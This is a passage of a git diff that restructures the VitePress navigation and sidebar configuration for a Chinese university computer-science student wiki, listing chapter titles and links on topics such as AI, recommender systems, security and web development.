'4.6.5.4.2NeRF的改进方向', link: '/4.人工智能/4.6.5.4.2NeRF的改进方向' }, - { text: '4.6.5.4.3自制数据集的工具COLMAP', link: '/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP' }, - ] - }, - { - text: '4.6.5.5行人重识别(ReID)', - collapsed: true, - items: [ - { text: '4.6.5.5行人重识别(ReID)', link: '/4.人工智能/4.6.5.5行人重识别(ReID)' }, - ] - }, - ] - }, - { - text: '4.6.6自然语言处理(NLP)', - collapsed: true, - items: [ - { text: '4.6.6自然语言处理(NLP)', link: '/4.人工智能/4.6.6自然语言处理(NLP)' }, - { text: '4.6.6.1NLP领域任务(研究目标)', link: '/4.人工智能/4.6.6.1NLP领域任务(研究目标)' }, - { - text: '4.6.6.2推荐系统', - collapsed: true, - items: [ - { text: '4.6.6.2推荐系统', link: '/4.人工智能/4.6.6.2推荐系统' }, - { text: '4.6.6.2.1推荐系统经典模型综述', link: '/4.人工智能/4.6.6.2.1推荐系统经典模型综述' }, - { - text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', - collapsed: true, - items: [ - { text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', link: '/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造' }, - { text: '4.6.6.2.2.1《推荐系统实践》读后的一些想法', link: '/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法' }, - { text: '4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统', link: '/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统' }, - { text: '4.6.6.2.2.3推荐系统实例', link: '/4.人工智能/4.6.6.2.2.3推荐系统实例' }, - { text: '4.6.6.2.2.4利用用户行为数据', link: '/4.人工智能/4.6.6.2.2.4利用用户行为数据' }, - { text: '4.6.6.2.2.5推荐系统冷启动', link: '/4.人工智能/4.6.6.2.2.5推荐系统冷启动' }, - { text: '4.6.6.2.2.6利用标签信息', link: '/4.人工智能/4.6.6.2.2.6利用标签信息' }, - { text: '4.6.6.2.2.7利用上下文信息', link: '/4.人工智能/4.6.6.2.2.7利用上下文信息' }, - ] - }, - { text: '4.6.6.2.3序列化推荐', link: '/4.人工智能/4.6.6.2.3序列化推荐' }, - ] - }, - { text: '4.6.6.3知识图谱', link: '/4.人工智能/4.6.6.3知识图谱' }, - ] - }, - { - text: '4.6.7Transformer', - collapsed: true, - items: [ - { text: '4.6.7Transformer', link: '/4.人工智能/4.6.7Transformer' }, - { text: '4.6.7.1VIT', link: '/4.人工智能/4.6.7.1VIT' }, - { text: '4.6.7.2BERT', link: '/4.人工智能/4.6.7.2BERT' }, - { text: '4.6.7.3MAE', link: '/4.人工智能/4.6.7.3MAE' }, - ] - }, - { - text: '4.6.8对比学习', - collapsed: true, - items: [ - { text: '4.6.8对比学习', link: '/4.人工智能/4.6.8对比学习' }, - { text: '4.6.8.1前言', link: '/4.人工智能/4.6.8.1前言' }, - { text: '4.6.8.2Inst Disc', link: '/4.人工智能/4.6.8.2Inst Disc' }, - { text: '4.6.8.3定义正负样本的方式', link: '/4.人工智能/4.6.8.3定义正负样本的方式' }, - { text: '4.6.8.4MoCo', link: '/4.人工智能/4.6.8.4MoCo' }, - { text: '4.6.8.5SimCLR', link: '/4.人工智能/4.6.8.5SimCLR' }, - { text: '4.6.8.6SwAV', link: '/4.人工智能/4.6.8.6SwAV' }, - { text: '4.6.8.7BYOL', link: '/4.人工智能/4.6.8.7BYOL' }, - { text: '4.6.8.8SimSiam', link: '/4.人工智能/4.6.8.8SimSiam' }, - { text: '4.6.8.9MoCo v3', link: '/4.人工智能/4.6.8.9MoCo v3' }, - { text: '4.6.8.10总结', link: '/4.人工智能/4.6.8.10总结' }, - ] - }, - { - text: '4.6.9深度强化学习', - collapsed: true, - items: [ - { text: '4.6.9深度强化学习', link: '/4.人工智能/4.6.9深度强化学习' }, - { text: '4.6.9.1前言', link: '/4.人工智能/4.6.9.1前言' }, - { text: '4.6.9.2基础资料推荐', link: '/4.人工智能/4.6.9.2基础资料推荐' }, - { text: '4.6.9.3基本概念介绍', link: '/4.人工智能/4.6.9.3基本概念介绍' }, - ] - } - ] - }, - { text: '4.7图网络略述(intro&GCN)', link: '/4.人工智能/4.7图网络略述(intro&GCN)' }, - { text: '4.8数据分析', link: '/4.人工智能/4.8数据分析' }, - { text: '4.9如何做研究', link: '/4.人工智能/4.9如何做研究' }, - { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, - { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, - { text: '4.12本章节内容的局限性', link: '/4.人工智能/4.12本章节内容的局限性' }, - { text: 'SRT社团介绍', link: '/4.人工智能/SRT' }, - { - text: 'FunRec', - collapsed: true, - items: [ - { text: 'FunRec概述', link: '/4.人工智能/FunRec概述' }, - { - text: '推荐系统概述', - collapsed: true, - items: [ - { text: '推荐系统的意义', link: '/4.人工智能/ch01/ch1.1.md' }, - { text: '推荐系统架构', link: '/4.人工智能/ch01/ch1.2.md' }, - { text: '推荐系统技术栈', link: '/4.人工智能/ch01/ch1.3.md' }, - ] - }, - { - text: '推荐系统算法基础', - collapsed: true, - items: [ - { - text: '经典召回模型', - collapsed: true, - items: [ - { - text: '基于协同过滤的召回', collapsed: true, items: [ - { text: 'UserCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md' }, - { text: 'ItemCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md' }, - { text: 'Swing', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md' }, - { text: '矩阵分解', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md' }, - ] - }, - { text: 'FM召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md' }, - { - text: 'item2vec召回系列', collapsed: true, items: [ - { text: 'word2vec原理', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md' }, - { text: 'item2vec召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md' }, - { text: 'Airbnb召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md' }, - ] - }, - { text: 'YoutubeDNN召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md' }, - { - text: '双塔召回', collapsed: true, items: [ - { text: '经典双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md' }, - { text: 'Youtube双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md' }, - ] - }, - { - text: '图召回', collapsed: true, items: [ - { text: 'EGES', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md' }, - { text: 'PinSAGE', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md' }, - ] - }, - { - text: '序列召回', collapsed: true, items: [ - { text: 'MIND', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md' }, - { text: 'SDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md' }, - ] - }, - { - text: '树模型召回', collapsed: true, items: [ - { text: 'TDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md' }, - ] - } - ] - }, - { - text: '经典排序模型', - collapsed: true, - items: [ - { text: 'GBDT+LR', link: '/4.人工智能/ch02/ch2.2/ch2.2.1.md' }, - { - text: '特征交叉', collapsed: true, items: [ - { text: 'FM', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md' }, - { text: 'PNN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md' }, - { text: 'DCN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md' }, - { text: 'AutoInt', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md' }, - { text: 'FiBiNET', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md' }, - ] - }, - { - text: 'WideNDeep系列', collapsed: true, items: [ - { text: 'Wide&Deep', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md' }, - { text: 'NFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md' }, - { text: 'AFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md' }, - { text: 'DeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md' }, - { text: 'xDeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md' }, - ] - }, - { - text: '序列模型', collapsed: true, items: [ - { text: 'DIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md' }, - { text: 'DIEN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md' }, - { text: 'DSIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md' }, - ] - }, - { - text: '多任务学习', collapsed: true, items: [ - { text: '多任务学习概述', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md' }, - { text: 'ESMM', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md' }, - { text: 'MMOE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md' }, - { text: 'PLE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md' }, - ] - } - ] - } - ] - } - ] - } - ] - }, - { - text: '5.富有生命的嵌入式', - collapsed: true, - items: [ - { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, - { text: '5.1嵌入式是什么?可以吃吗?', link: '/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?' }, - { text: '5.2New meaning of C', link: '/5.富有生命的嵌入式/5.2New meaning of C' }, - { text: '5.3还玩裸机?上操作系统!', link: '/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!' }, - ] - }, - { - text: '6.计算机安全', - collapsed: true, - items: [ - { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, - { - text: '6.1Web安全', - collapsed: true, - items: [ - { text: '6.1Web安全', link: '/6.计算机安全/6.1Web安全' }, - { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, - ] - }, - { - text: '6.2二进制安全', - collapsed: true, - items: [ - { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, - { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, - { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, - ] - }, - { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, - { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, - ] - }, - { - text: '7.网络应用开发', - collapsed: true, - items: [ - { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, - { - text: '7.1WEB开发入门', - collapsed: true, - items: [ - { text: '7.1WEB开发入门', link: '/7.网络应用开发/7.1WEB开发入门' }, - { - text: '7.1.1前端部分', - collapsed: true, - items: [ - { text: '7.1.1前端部分', link: '/7.网络应用开发/7.1.1前端部分' }, - { text: '7.1.1.1基础部分', link: '/7.网络应用开发/7.1.1.1基础部分' }, - { text: '7.1.1.2进阶部分', link: '/7.网络应用开发/7.1.1.2进阶部分' }, - { text: '7.1.1.3附录1:前端介绍(详细版)', link: '/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版)' }, - { text: '7.1.1.4附录2:大前端开发', link: '/7.网络应用开发/7.1.1.4附录2:大前端开发' }, - { text: '7.1.1.5附录3:跨端开发', link: '/7.网络应用开发/7.1.1.5附录3:跨端开发' }, - ] - }, - { - text: '7.1.2后端部分', - collapsed: true, - items: [ - { text: '7.1.2后端部分', link: '/7.网络应用开发/7.1.2后端部分' }, - { text: '7.1.2.1基础部分', link: '/7.网络应用开发/7.1.2.1基础部分' }, - { text: '7.1.2.2进阶部分', link: '/7.网络应用开发/7.1.2.2进阶部分' }, - ] - }, - ] - }, - ] - }, - { - text: '8.基础学科', - collapsed: true, - items: [ - { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, - { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, - ] - }, - { - text: 'Contributors', - link: '/contributors' - }, - { - text: '贡献指南', - link: '/CONTRIBUTING' - }, - { - text: 'notebook测试', - link: '/notebook' - } - ], + sidebar: { + '/': main_sidebar(), + '/2.高效学习/': chapter2(), + '/3.编程思维体系构建/': chapter3(), + '/4.人工智能/': chapter4(), + '/5.富有生命的嵌入式/': chapter5(), + '/6.计算机安全/': chapter6(), + '/7.网络应用开发/': chapter7(), + '/8.基础学科/': chapter8(), + '/9.计算机网络/': chapter9(), + }, + outline: [2, 6], socialLinks: [ { icon: 'github', link: 'https://github.com/camera-2018/hdu-cs-wiki' } ], footer: { - message: 'Made with ❤️ by HDU 计算机科协 && ALL 协作者', - copyright: 'Copyright © 2023-present Evan You && HDU 计算机科协 && ALL 协作者' + message: 'Made with ❤️ by ALL 协作者', + copyright: 'Copyright © 2023-present Evan You && ALL 协作者' }, lastUpdatedText: '上次更改', docFooter: { @@ -679,16 +73,29 @@ export default defineConfig({ externalLinkIcon: true, }, markdown: { + lineNumbers: true, config: (md) => { - md.use(mathjax3); + md.use(PanguPlugin); }, + math: true }, - vue: { - template: { - compilerOptions: { - isCustomElement: (tag) => customElements.includes(tag), - }, - }, + sitemap: { + hostname: 'https://hdu-cs.wiki' }, + vite: { + plugins: [ + VueMacros(), + ], + resolve: { + alias: [ + { + find: /^.*\/NotFound\.vue$/, + replacement: fileURLToPath( + new URL('./components/CustomNotFound.vue', import.meta.url) + ) + } + ] + } + } }) diff --git a/.vitepress/nav.js b/.vitepress/nav.js new file mode 100644 index 0000000..10a4204 --- /dev/null +++ b/.vitepress/nav.js @@ -0,0 +1,27 @@ +export function nav() { + return [ + { text: '首页', link: '/' }, + { + text: '章节', items: + [ + { text: '1.杭电生存指南(最重要模块)', link: '/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语)' }, + { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, + { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, + { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, + { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, + { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, + { text: '7.网络应用开发', link: '/7.网络应用开发/7.网络应用开发入门' }, + { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, + { text: '9.计算机网络', link: '9.计算机网络/9.计算机网络' }, + ] + }, + { text: '博客', link: '/blog/' }, + { text: 'Wiki史', link: '/wiki史' }, + { + text: '友链', items: + [ + { text: '杭电导航', link: 'https://wiki.hduhelp.com' }, + ] + }, + ] +} \ No newline at end of file diff --git a/.vitepress/sidebar.js b/.vitepress/sidebar.js new file mode 100644 index 0000000..e716d9b --- /dev/null +++ b/.vitepress/sidebar.js @@ -0,0 +1,692 @@ +export function main_sidebar() { + return [ + { + text: '简介', + collapsed: true, + items: [ + { text: '简介', link: '/简介' }, + { text: '使用指南', link: '/使用指南' }, + ] + }, + { + text: '1.杭电生存指南(最重要模块)', + collapsed: true, + items: [ + { text: '1.1 人文社科的重要性(韩健夫老师寄语)', link: '/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语)' }, + { text: '1.2 竞赛指北', link: '/1.杭电生存指南/1.2竞赛指北' }, + { text: '1.3 导师选择', link: '/1.杭电生存指南/1.3导师选择' }, + { text: '1.4 小心项目陷阱', link: '/1.杭电生存指南/1.4小心项目陷阱' }, + { text: '1.5 小组作业避雷指南', link: '/1.杭电生存指南/1.5小组作业避雷指南' }, + { text: '1.6 正确解读GPA', link: '/1.杭电生存指南/1.6正确解读GPA' }, + { text: '1.7 杭电出国自救指南', link: '/1.杭电生存指南/1.7杭电出国自救指南' }, + { text: '1.8 转专业二三事', link: '/1.杭电生存指南/1.8转专业二三事' }, + { text: '1.9 问题专题:好想进入实验室', link: '/1.杭电生存指南/1.9问题专题:好想进入实验室' }, + { text: '1.10 如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, + { text: '1.11 陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, + { text: '1.12 选课原则与抢课技巧', link: '/1.杭电生存指南/1.12选课原则与抢课技巧' }, + { text: '1.13 数学学习篇', link: '/1.杭电生存指南/1.13数学学习篇' }, + { text: '1.14 杭电“失败”指南', link: '/1.杭电生存指南/1.14 杭电失败指南' }, + ] + }, + { + text: "2.高效学习", + collapsed: true, + items: [{ text: "2.高效学习", link: "/2.高效学习/2.高效学习" }] + }, + { + text: "3.编程思维体系构建", + collapsed: true, + items: [ + { text: "3.编程思维体系构建", link: "/3.编程思维体系构建/3.编程思维体系构建" } + ] + }, + { + text: "4.人工智能", + collapsed: true, + items: [{ text: "4.人工智能", link: "/4.人工智能/4.人工智能" }] + }, + { + text: "5.富有生命的嵌入式", + collapsed: true, + items: [ + { text: "5.富有生命的嵌入式", link: "/5.富有生命的嵌入式/5.富有生命的嵌入式" } + ] + }, + { + text: "6.计算机安全", + collapsed: true, + items: [{ text: "6.计算机安全", link: "/6.计算机安全/6.计算机安全" }] + }, + { + text: "7.网络应用开发入门", + collapsed: true, + items: [ + { text: "7.网络应用开发入门", link: "/7.网络应用开发/7.网络应用开发入门" } + ] + }, + { + text: "8.基础学科", + collapsed: true, + items: [{ text: "8.基础学科", link: "/8.基础学科/8.基础学科" }] + }, + { + text: "9.计算机网络", + collapsed: true, + items: [{ text: "9.计算机网络", link: "/9.计算机网络/9.计算机网络" }] + }, + { + text: 'Contributors', + link: '/contributors' + }, + { + text: '贡献指南', + link: '/CONTRIBUTING' + }, + { + text: 'notebook测试', + link: '/notebook' + } + ] +} + +export function chapter2() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '2.高效学习', + collapsed: false, + items: [ + { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, + { + text: '2.1高效的前提:摆脱高中思维', + collapsed: true, + items: [ + { text: '2.1高效的前提:摆脱高中思维', link: '/2.高效学习/2.1高效的前提:摆脱高中思维' }, + { text: '2.1.1悲壮的学习方式', link: '/2.高效学习/2.1.1悲壮的学习方式' }, + { text: '2.1.2浮躁的心理状态', link: '/2.高效学习/2.1.2浮躁的心理状态' }, + { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, + { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, + { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, + ] + }, + { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, + { + text: '2.3高效的信息检索', + collapsed: true, + items: [ + { text: '2.3高效的信息检索', link: '/2.高效学习/2.3高效的信息检索' }, + { text: '2.3.1阅读文档(B百度爬)', link: '/2.高效学习/2.3.1阅读文档(B百度爬)' }, + { text: '2.3.2检索论文核心内容', link: '/2.高效学习/2.3.2检索论文核心内容' }, + { text: '2.3.3优秀的开源社区', link: '/2.高效学习/2.3.3优秀的开源社区' }, + { text: '补充:为什么不要用百度', link: '/2.高效学习/补充:为什么不要用百度' }, + ] + }, + { text: '2.4优雅的记笔记', link: '/2.高效学习/2.4优雅的记笔记' }, + { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, + { text: '2.6学会使用AI辅助学习', link: '/2.高效学习/2.6学会使用AI辅助学习' }, + ] + }, + ] +} + +export function chapter3() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '3.编程思维体系构建', + collapsed: false, + items: [ + { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, + { text: '3.0 编程入门之道', link: '/3.编程思维体系构建/3.0 编程入门之道' }, + { text: '3.1该使用哪个编辑器???', link: '/3.编程思维体系构建/3.1该使用哪个编辑器???' }, + { + text: '3.2算法杂谈', + collapsed: true, + items: [ + { text: '3.2算法杂谈', link: '/3.编程思维体系构建/3.2算法杂谈' }, + { text: '3.2.1为什么要选择ACM——谈谈我与ACM', link: '/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM' }, + { text: '3.2.2手把手教你学算法——如何使用OJ(Online Judge)', link: '/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge)' }, + { text: '3.2.3ACM 竞赛从入门到入坟', link: '/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟' }, + ] + }, + { text: '3.3如何选择编程语言', link: '/3.编程思维体系构建/3.3如何选择编程语言' }, + { + text: '3.4C语言', + collapsed: true, + items: [ + { text: '3.4C语言', link: '/3.编程思维体系构建/3.4C语言' }, + { text: '3.4.1FAQ:常见问题', link: '/3.编程思维体系构建/3.4.1FAQ:常见问题' }, + { text: '3.4.2用什么写 C 语言', link: '/3.编程思维体系构建/3.4.2用什么写 C 语言' }, + { text: '3.4.3解决编程问题的普适性过程', link: '/3.编程思维体系构建/3.4.3解决编程问题的普适性过程' }, + { text: '3.4.4C语言前置概念学习', link: '/3.编程思维体系构建/3.4.4C语言前置概念学习' }, + { + text: '3.4.5阶段一:编程属性', + collapsed: true, + items: [ + { text: '3.4.5阶段一:编程属性', link: '/3.编程思维体系构建/3.4.5阶段一:编程属性' }, + { text: '3.4.5.1C语言自测标准——链表', link: '/3.编程思维体系构建/3.4.5.1C语言自测标准——链表' }, + ] + }, + { + text: '3.4.6阶段二:文字冒险(cool)', + collapsed: true, + items: [ + { text: '3.4.6阶段二:文字冒险(cool)', link: '/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool)' }, + { text: '3.4.6.1.开始冒险', link: '/3.编程思维体系构建/3.4.6.1.开始冒险' }, + { text: '3.4.6.2.探索未知', link: '/3.编程思维体系构建/3.4.6.2.探索未知' }, + { text: '3.4.6.3.指明地点', link: '/3.编程思维体系构建/3.4.6.3.指明地点' }, + { text: '3.4.6.4.创建对象', link: '/3.编程思维体系构建/3.4.6.4.创建对象' }, + { text: '3.4.6.5.捡起物品', link: '/3.编程思维体系构建/3.4.6.5.捡起物品' }, + { text: '3.4.6.6.绘制地图', link: '/3.编程思维体系构建/3.4.6.6.绘制地图' }, + { text: '3.4.6.7.增大距离', link: '/3.编程思维体系构建/3.4.6.7.增大距离' }, + { text: '3.4.6.8.移动方向', link: '/3.编程思维体系构建/3.4.6.8.移动方向' }, + { text: '3.4.6.9.练习:生成代码', link: '/3.编程思维体系构建/3.4.6.9.练习:生成代码' }, + { text: '3.4.6.10.增添属性', link: '/3.编程思维体系构建/3.4.6.10.增添属性' }, + { text: '3.4.6.11.设置条件', link: '/3.编程思维体系构建/3.4.6.11.设置条件' }, + { text: '3.4.6.12.开启关闭', link: '/3.编程思维体系构建/3.4.6.12.开启关闭' }, + { text: '3.4.6.13.编写解析器', link: '/3.编程思维体系构建/3.4.6.13.编写解析器' }, + { text: '3.4.6.14.丰富命令', link: '/3.编程思维体系构建/3.4.6.14.丰富命令' }, + { text: '3.4.6.15.赋予明暗', link: '/3.编程思维体系构建/3.4.6.15.赋予明暗' }, + { text: '3.4.6.16.结语:你终将自由', link: '/3.编程思维体系构建/3.4.6.16.结语:你终将自由' }, + ] + }, + { + text: '3.4.7C基础知识杂谈', + collapsed: true, + items: [ + { text: '3.4.7C基础知识杂谈', link: '/3.编程思维体系构建/3.4.7C基础知识杂谈' }, + { text: '3.4.7.1GDB初探索(编程可阅览)', link: '/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览)' }, + { text: '3.4.7.1.1调试理论', link: '/3.编程思维体系构建/3.4.7.1.1调试理论' }, + { text: '3.4.7.2C的历史问题:undefined behavior', link: '/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior' }, + { text: '3.4.7.3C编译器干了什么', link: '/3.编程思维体系构建/3.4.7.3C编译器干了什么' }, + { text: '3.4.7.4Inline Assembly与链接加载', link: '/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载' }, + ] + }, + ] + }, + { text: '3.5git与github', link: '/3.编程思维体系构建/3.5git与github' }, + { + text: '3.6Python(灵巧的胶水)', + collapsed: true, + items: [ + { text: '3.6Python(灵巧的胶水)', link: '/3.编程思维体系构建/3.6Python(灵巧的胶水)' }, + { text: '3.6.1从CS61A看编程语言学习', link: '/3.编程思维体系构建/3.6.1从CS61A看编程语言学习' }, + { text: '3.6.2环境配置', link: '/3.编程思维体系构建/3.6.2环境配置' }, + { text: '3.6.3安装python', link: '/3.编程思维体系构建/3.6.3安装python' }, + { + text: '3.6.4Python for fun', + collapsed: true, + items: [ + { text: '3.6.4Python for fun', link: '/3.编程思维体系构建/3.6.4Python for fun' }, + { text: '3.6.4.0阶段零:Python解释器', link: '/3.编程思维体系构建/3.6.4.0阶段零:Python解释器' }, + { text: '3.6.4.1阶段一:熟悉语句', link: '/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句' }, + { text: '3.6.4.2阶段二:递归操作', link: '/3.编程思维体系构建/3.6.4.2阶段二:递归操作' }, + { text: '3.6.4.3阶段三:数据抽象', link: '/3.编程思维体系构建/3.6.4.3阶段三:数据抽象' }, + { text: '3.6.4.4阶段四:高阶函数', link: '/3.编程思维体系构建/3.6.4.4阶段四:高阶函数' }, + { text: '3.6.4.5阶段五:迭代生成', link: '/3.编程思维体系构建/3.6.4.5阶段五:迭代生成' }, + { text: '3.6.4.6结语', link: '/3.编程思维体系构建/3.6.4.6结语' }, + ] + }, + { + text: '3.6.5 CS61A 食用指南', + collapsed: true, + items: [ + { text: '3.6.5 CS61A 食用指南', link: '/3.编程思维体系构建/3.6.5CS61A食用指南' }, + { text: '3.6.5.1 CS61A Sec1', link: '/3.编程思维体系构建/3.6.5.1CS61A Sec1' }, + ] + } + ] + }, + { text: '3.X 聊聊设计模式和程序设计', link: '/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' }, + { + text: '3.Y 附加模块:Linux', + collapsed: true, + items: [ + { text: '3.Y 附加模块:Linux', link: '/3.编程思维体系构建/3.Y 附加模块:Linux' }, + { text: '3.Y.1Linux概念普及', link: '/3.编程思维体系构建/3.Y.1Linux概念普及' }, + { text: '3.Y.2双系统安装和发行版推荐', link: '/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐' }, + { text: '3.Y.3VMware的安装与安装Ubuntu22.04系统', link: '/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统' }, + { text: '3.Y.4WSL的安装', link: '/3.编程思维体系构建/3.Y.4WSL的安装' }, + { text: '3.Y.5Linux初探索', link: '/3.编程思维体系构建/3.Y.5Linux初探索' }, + { text: '3.Y.6Vim初探索', link: '/3.编程思维体系构建/3.Y.6Vim初探索' }, + { text: '3.Y.7linux小任务', link: '/3.编程思维体系构建/3.Y.7linux小任务' }, + ] + } + ] + }, + + ] +} + +export function chapter4() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '4.人工智能', + collapsed: false, + items: [ + { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, + { text: '4.1前言', link: '/4.人工智能/4.1前言' }, + { text: '4.2机器学习(AI)快速入门(quick start)', link: '/4.人工智能/4.2机器学习(AI)快速入门(quick start)' }, + { + text: '4.3人工智能导论及机器学习入门', + collapsed: true, + items: [ + { text: '4.3人工智能导论及机器学习入门', link: '/4.人工智能/4.3人工智能导论及机器学习入门' }, + { + text: '4.3.1搜索', + collapsed: true, + items: [ + { text: '4.3.1搜索', link: '/4.人工智能/4.3.1搜索' }, + { text: '4.3.1.1程序示例——maze迷宫解搜索', link: '/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索' }, + { text: '4.3.1.2项目:Tic-Tac-Toe井字棋', link: '/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋' }, + ] + }, + { + text: '4.3.2知识推理', + collapsed: true, + items: [ + { text: '4.3.2知识推理', link: '/4.人工智能/4.3.2知识推理' }, + { text: '4.3.2.1程序示例——命题逻辑与模型检测', link: '/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测' }, + { text: '4.3.2.2项目:扫雷,骑士与流氓问题', link: '/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题' }, + ] + }, + { + text: '4.3.3不确定性问题', + collapsed: true, + items: [ + { text: '4.3.3不确定性问题', link: '/4.人工智能/4.3.3不确定性问题' }, + { text: '4.3.3.1程序示例', link: '/4.人工智能/4.3.3.1程序示例' }, + { text: '4.3.3.2项目:遗传', link: '/4.人工智能/4.3.3.2项目:遗传' }, + ] + }, + { + text: '4.3.4最优化', + collapsed: true, + items: [ + { text: '4.3.4最优化', link: '/4.人工智能/4.3.4最优化' }, + { text: '4.3.4.1程序示例', link: '/4.人工智能/4.3.4.1程序示例' }, + { text: '4.3.4.2项目:填词游戏', link: '/4.人工智能/4.3.4.2项目:填词游戏' }, + ] + }, + ] + }, + { text: '4.4FAQ:常见问题', link: '/4.人工智能/4.4FAQ:常见问题' }, + { + text: '4.6深度学习', + collapsed: true, + items: [ + { text: '4.6深度学习', link: '/4.人工智能/4.6深度学习' }, + { text: '4.6.1工欲善其事,必先利其器', link: '/4.人工智能/4.6.1工欲善其事,必先利其器' }, + { text: '4.6.2你可能会需要的术语介绍', link: '/4.人工智能/4.6.2你可能会需要的术语介绍' }, + { text: '4.6.3深度学习快速入门', link: '/4.人工智能/4.6.3深度学习快速入门' }, + { text: '4.6.4Pytorch安装', link: '/4.人工智能/4.6.4Pytorch安装' }, + { + text: '4.6.5计算机视觉(CV)', + collapsed: true, + items: [ + { text: '4.6.5计算机视觉(CV)', link: '/4.人工智能/4.6.5计算机视觉(CV)' }, + { text: 